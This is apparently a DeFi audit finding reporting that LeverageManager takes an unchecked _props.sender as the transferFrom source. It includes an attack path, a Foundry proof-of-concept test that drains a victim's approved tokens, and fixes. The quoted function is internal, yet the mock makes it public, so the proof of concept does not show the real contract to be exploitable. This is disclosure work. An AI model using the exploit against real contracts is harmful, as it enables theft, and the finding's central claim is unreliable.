Docile Rusty Bobcat
High
An attacker will steal user funds for token holders as they will exploit arbitrary from
in transferFrom
.
The use of an arbitrary from
address in transferFrom
will cause a complete loss of funds for token holders as an attacker will transfer tokens from any victim’s address to the contract without their consent.
In LeverageManager.sol#L429, the contract uses _props.sender
as the source of tokens without validating that _props.sender
matches the caller (msg.sender
). Because _props.sender
is never checked, an attacker can supply any address in the LeverageFlashProps
struct—draining tokens from another user’s wallet.
function _acquireBorrowTokenForRepayment(
LeverageFlashProps memory _props,
address _pod,
address _borrowToken,
uint256 _borrowNeeded,
uint256 _podAmtReceived,
uint256 _podSwapAmtOutMin,
uint256 _userProvidedDebtAmtMax
) internal returns (uint256 _podAmtRemaining) {
_podAmtRemaining = _podAmtReceived;
uint256 _borrowAmtNeededToSwap = _borrowNeeded;
if (_userProvidedDebtAmtMax > 0) {
uint256 _borrowAmtFromUser =
_userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
_borrowAmtNeededToSwap -= _borrowAmtFromUser;
IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
}
// sell pod token into LP for enough borrow token to get enough to repay
// if self-lending swap for lending pair then redeem for borrow token
if (_borrowAmtNeededToSwap > 0) {
if (_isPodSelfLending(_props.positionId)) {
_podAmtRemaining = _swapPodForBorrowToken(
_pod,
positionProps[_props.positionId].lendingPair,
_podAmtReceived,
IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
_podSwapAmtOutMin
);
IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
address(this),
address(this)
);
} else {
_podAmtRemaining = _swapPodForBorrowToken(
_pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
);
}
}
}
-
Admin needs to deploy the contract with the vulnerable `_acquireBorrowTokenForRepayment` function.
-
Users must hold tokens of the type specified by `_borrowToken` and have approved the contract to spend their tokens (if applicable).
-
The contract must have a non-zero balance of the `_borrowToken` to make the attack profitable.
-
The victim’s address must hold tokens of the type specified by `_borrowToken`.
-
The victim’s address must have approved the contract to spend their tokens.
-
Attacker identifies a victim who holds tokens of the type specified by `_borrowToken`.
-
Attacker crafts malicious `LeverageFlashProps` with the victim’s address as _props.sender.
-
Attacker calls `_acquireBorrowTokenForRepayment` with the malicious props, specifying the victim’s address as the from address.
-
The contract transfers tokens from the victim’s address to itself using `transferFrom`.
-
Attacker steals the tokens by withdrawing them from the contract _or_ exploiting other functions.
The token holders suffer a complete loss of their tokens transferred to the contract. The attacker gains the stolen tokens, which can amount to 100% of the victim’s principal and yield.
Remove .txt
from the end of the attachement. This is a fully crafted PoC, renamed to allow uploading.
ExploitTest.t.sol.txt
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.28;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Mock vulnerable contract
contract LeverageManager {
struct LeverageFlashProps {
address sender;
}
function _acquireBorrowTokenForRepayment(
LeverageFlashProps memory _props,
address _borrowToken,
address,
uint256 _someAmount,
uint256,
uint256,
uint256
) public {
// Vulnerable line - uses _props.sender without verification
IERC20(_borrowToken).transferFrom(_props.sender, address(this), _someAmount);
}
}
contract ExploitTest is Test {
LeverageManager public target;
address public victim;
address public borrowToken;
address public attacker;
function setUp() public {
// Deploy contracts
target = new LeverageManager();
// Setup addresses
victim = makeAddr("victim");
attacker = makeAddr("attacker");
// Deploy mock token
MockERC20 token = new MockERC20("Test Token", "TEST");
borrowToken = address(token);
// Give victim tokens
deal(borrowToken, victim, 100 ether);
// Victim approves spending (as often required in DeFi)
vm.startPrank(victim);
IERC20(borrowToken).approve(address(target), type(uint256).max);
vm.stopPrank();
}
function testExploit() public {
// Initial balances
uint256 victimInitialBalance = IERC20(borrowToken).balanceOf(victim);
assertEq(victimInitialBalance, 100 ether, "Victim should start with 100 tokens");
// Prepare malicious props targeting victim
vm.startPrank(attacker);
LeverageManager.LeverageFlashProps memory props;
props.sender = victim; // Maliciously set sender as victim
// Execute attack
target._acquireBorrowTokenForRepayment(
props,
borrowToken,
address(0),
100 ether,
0,
0,
0
);
vm.stopPrank();
// Verify exploit success
uint256 victimFinalBalance = IERC20(borrowToken).balanceOf(victim);
uint256 contractBalance = IERC20(borrowToken).balanceOf(address(target));
assertEq(victimFinalBalance, 0, "Victim's tokens should be drained");
assertEq(contractBalance, 100 ether, "Contract should have stolen tokens");
}
}
// Mock ERC20 token for testing
contract MockERC20 is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public override returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from zero");
require(to != address(0), "ERC20: transfer to zero");
require(_balances[from] >= amount, "ERC20: insufficient balance");
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from zero");
require(spender != address(0), "ERC20: approve to zero");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}
Validate _props.sender: Ensure that _props.sender is either msg.sender or a trusted address.
require(_props.sender == msg.sender, "Unauthorized sender");
Use msg.sender Directly: Replace _props.sender with msg.sender in the transferFrom call:
IERC20(_borrowToken).safeTransferFrom(msg.sender, address(this), _borrowAmtFromUser);
Add Access Control: Restrict the function to authorized users or roles using a modifier like onlyOwner or onlyRole.